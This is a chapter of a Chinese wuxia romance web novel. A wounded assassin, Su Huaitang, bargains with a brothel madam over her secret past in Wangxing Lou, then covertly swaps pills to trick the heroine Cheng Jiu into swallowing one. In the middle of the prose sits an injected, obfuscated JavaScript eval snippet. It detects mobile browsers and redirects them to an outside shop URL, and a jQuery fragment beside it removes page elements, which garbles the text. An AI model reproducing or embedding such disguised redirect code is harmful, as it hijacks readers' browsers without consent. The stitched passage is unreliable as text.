“花娘好见识!竟然识得我的身份?”苏怀堂眼神噙着笑意,手底动作却没有丝毫软弱。
“你们和千面罗刹一样也是青衣门派来的杀手?背后的主使人是谁?与独孤迦罗是何关系?”
“青衣门和独孤迦罗?”花娘像是听到了天大的笑话,团扇“啪”地一收,发出一声脆响。
脸上那点虚假的笑意彻底消失,取而代之的是一种毫不掩饰的倨傲与轻蔑,“凭他青衣门……也配与我等攀扯?”
“我倒是有时间陪你卖关子,但是……”苏怀堂眼底的戏谑更加残忍,缓缓推进了挟持阿丑的刀锋,以示不耐,“阿丑可等不了太久了。”
花娘目光死死锁住因剧痛而蜷缩的阿丑,终于开口,“……我们是望星楼的人……”
“望星楼”三个字从花娘颤抖的唇间吐出时,一直沉默的程久指尖微不可察地一颤,好奇道,“你和阿丑便是传说中的灵傀?”
花娘猛地抬头,眼中掠过一丝惊惧,“姑娘竟然知道灵傀!”
诧异后,花娘的表情旋即化为认命的苦笑,声音陡然喑哑,“姑娘猜得不错!……阿丑是‘傀儡’,我是他的‘牵丝人’。”
苏怀堂在祖父辈就曾听过望星楼的隐秘传闻。
据传,望星楼最初是由一群狂热的五姓十族顽固分子所组建,这些人骨子里浸透着对平民血统的蔑视,豢养了很多清理“肮脏平民“的杀手。
看来,阿丑和花娘便是其中一员。
由此观之,望星楼这股隐秘势力绝不可小觑。
只是,单单望星楼三个字似乎就引起了花娘的极大痛苦,她几次努力才平息激烈的情绪翻涌,断断续续开口回忆道,“……十年前叛出望星楼时,为了摆脱追杀,我制造了一场火灾,阿丑……阿丑的脸就是那时候为了救我烧伤的。”
“……阿丑服用过忘忧蛊,所以心智不全犹如幼童,今日绝非有意与鸣玉公子为敌,只是误以为有人对宝月楼、对我不利才猝然出手!我们伪造了身份,在此隐居多年,只求过平静日子……还请鸣玉公子看在宝月楼未曾亏待久久姑娘的份上,饶过我们二人吧!”
花娘垂手站着,帕子捏得死紧,声音压得又低又沉:“久久姑娘虽然只是穿透伤,伤势不重,但若继续血流不止,恐怕亦有性命之忧,鸣玉公子当真一点也不怜香惜玉?”
她眼神扫过两人,“若再闹下去把望星楼的‘星使’招来,这屋里有一个算一个,全都死无葬身之地。”
“……不如握手言和?只要鸣玉公子答允帮老身和阿丑保守秘密,我便吩咐小厮派马车送你们离开。出了这门,江湖路远,至于……鸣玉公子能不能躲过青衣门暗杀……就各凭本事了。”
“好,就依你所言。”苏怀堂利落地放开了辖制阿丑的匕首。
受伤的阿丑低垂着眼帘,他沉默地一步步挪到老鸨身后,仿佛想像鸵鸟一般,将自己的头埋进沙堆藏起来。
花娘踮起脚尖,用绢帕细细替阿丑擦拭过脸上的血痕和眼泪,“别怕,我在这儿呢。”
那声音里的疼惜,既似母亲拢住迷途的幼鸟,又像亲密爱人,全然不介意他痴傻懵懂的模样与满身污垢。
“两位请自便,我会吩咐楼下备好马车,从今以后,江湖不见。”
程久靠着冰冷的墙壁缓缓滑坐在地,每一次呼吸都牵扯着腹部的疼痛,衣料被温热的液体浸透,血正从指缝间蜿蜒流下,在地面上洇开一小片暗红。
“还好,位置偏侧,未伤及要害”,她冷静地判断着,只是银簪扎进的地方皮肉翻卷,看着吓人,血流得急了些。
“别动。”苏怀堂拖着受伤的右腿走近,撕开自己相对干净的内衫下摆,布料按上她伤口的瞬间,程久疼得指尖一蜷,无意识地反握住了苏怀堂的手腕。
“皮肉伤,死不了。”他的视线略过她腰侧细腻白瓷般的肌肤,整个人似乎僵硬了一瞬,手底下动作却很利落,按压止血。
然后倒出一颗药丸递过来:“北丐神医的凝血生肌丸,对止血促进伤口愈合有奇效。”
程久不耐烦的推开苏怀堂掌心的药丸,声音虚弱却坚决:“不牢你费心“,然后勉力撑着墙站起身,“就此别过,免得你又拖累我。”
“我、拖累你?”
苏怀堂垂下眼帘藏起眼神,目光落在自己空无一物的掌心,慢慢地屈起手指,一点点收拢。
“咳……咳……”苏怀堂剧烈地咳嗽声拖住了程久离开的脚步。
她踱步回首,“你不会现在就死在这里吧?”
程久垂着眼帘,目光像冰冷的刀锋审视过苏怀堂苍白如冷瓷的侧脸,纵然血污狼藉、鬓发散乱,苏怀堂那张脸却如白玉观音溅上一点朱砂,在破碎狼狈中透出惊心动魄的清艳,叫人移不开眼。
连不甚在意男子皮相的程久都暗自惊叹,当真一副好相貌!
她略犹豫着还是上前探了探他冰凉的颈侧,淡声问:“你还撑得住吗?”
苏怀堂咳了好一会儿才缓过气,每一次急促的喘息都扯动深可见骨的伤口,血浸透了半身衣裳。
“……青衣门的手段……咳……你也见识过了……无论是落到他们手里还是因为任务失败回去领受罪责……我、都难逃一死。”
他脸上的血色褪得厉害,苍白如纸,唯有一双狭长的丹凤眼微微弯了起来,薄而线条分明的唇角也向上扬起,恰到好处地露出几分自嘲和无辜的浅笑。
“……倒不如自己了断干脆。”
苏怀堂的目光定定地锁着她,喉间逸出半声极低、带血的闷咳,又被强行咽下。
他深黑的瞳孔里,像是深不见底的寒潭,所有的光都被吸了进去,只余一片沉沉的、不见底的暗色。
“只是还有家中长姐割舍不下”,苏怀堂的声音带着浓重的鼻音和哽咽的破碎感,眼眶竟真的微微泛红,似是回忆起旧事的感伤,“我自幼父母双亡,有幸被义父收养,只有长姐相依为命,她丈夫粗鄙不堪又蠢钝无知,还拉扯个四岁的稚子,日子过得甚是艰难……”
“还请久久姑娘看在相识一场的份上,照拂长姐……”
程久冷眼旁观苏怀堂这番“临终托孤”的情真意切,只是瞧他提到长姐时流露出的脆弱与哀求,竟不似作伪。
那根名为“恻隐”的心弦,终究被微弱地拨动了一下。程久眼中惯常的冰冷戒备,出现了一丝不易察觉的松动。
“何必自怨自艾。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750245|187169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程久声音平静无波,目光扫过墙角滚落的黑色药丸,弯腰将它捡回递到苏怀堂唇边。
她的视线落在他右腿露骨的伤口上,“既然这药能止血生肌,你何不吃下好好养伤,只要一息尚存便有生机。”
苏怀堂的瞳孔,在那一瞬间,极其细微地收缩了一下!
那错愕只持续了不到一息,快得几乎无法捕捉。
“既然久久姑娘想让我活,苏某听凭吩咐就是。”
他意外乖巧地伸出手指取过她掌中药丸,只是极其隐蔽地、利用掌心弯曲的角度和指腹的快速捻动——将袖中另一颗黑色药丸替换了过来,原本那颗被悄悄抛落在衣服褶皱中。
动作流畅毫无破绽。
苏怀堂捏着那颗“凝血生肌丸”的指尖,犹豫地停在自己唇边。
然后,在程久目光灼灼、毫不放松的盯视下,吞咽下药丸。
他的动作很慢,似乎要让每一帧都清晰映在她眼中。
舌尖似乎还无意识地舔舐了一下沾血的唇瓣,留下一点湿润的痕迹。喉结滚动,清晰地勾勒出吞咽的动作轮廓。
苏怀堂探入袖中,摸索着取出一个黑色小瓷瓶,倒出最后一颗药丸,摊开手递向她,“……姑娘若想得到定魂珠,恐怕也得养好伤恢复力气才行……”
见程久并未接,他刻意停顿,喘息加剧,“怎么……久久姑娘还是不肯信我?……”
程久迟疑了片刻,用指尖小心翼翼地拈起了那颗药丸嗅了嗅,忽然毫无征兆地倾身靠近,微凉的指尖虚虚托住他的下颚,偏过头小巧的鼻翼极其轻微地翕动了两下,垂眸在他唇边嗅了嗅药气。
苏怀堂眸光骤缩,呼吸停滞间只觉她温热的呼吸轻擦过肌肤,心跳如擂鼓般在耳膜里炸开——一股难以言喻的战栗沿着脊椎窜起,连舌尖残留的苦涩都莫名泛起了隐秘的酥麻。
“是一样的味道”,掌心药丸的气味,与他唇齿间残留的气息,完全一致。
程久眼中最后一丝疑虑终于消散——
不再犹豫咽了下去。
“多谢!”
苏怀堂一直紧绷到极致的神经,终于在最深处,无声地松弛了一根弦。
只是他眸光深处,透出一点微乎其微的光亮,像深夜里偷溜出云层的狡黠月光,无声地宣告着猎物已然入彀,此刻尚无人察觉。
吃下药丸的程久依然没有与苏怀堂结伴同行的觉悟,她挑挑拣拣拔下发间那支最华贵的红宝石珍珠流苏,随手一掷,在空中划过一道冷淡的弧线落向苏怀堂手中。
“拿去换些银钱”,她语气冰冷,下颌微扬,神态动作如同对待路边乞儿无异,“带着你的长姐远遁江湖,去过平静日子吧。”说罢自顾自转身离开。
“呵,真是无情啊!”苏怀堂抬手接住珍珠,忽然从喉间溢出一声极轻的笑,带着一丝闷在胸腔里的震颤,浸透了玩味与一丝捕猎成功后的餍足,瞬间将方才温润脆弱的假象撕开一道裂口。
“你走得了吗?”
他低垂着眼眸,凝视着指间莹润的珍珠流苏,玉色的指节骤然收拢。
细碎的珍珠粉末,簌簌地从指缝间漏下,在他墨色的衣袍上溅开几点银白色的微光。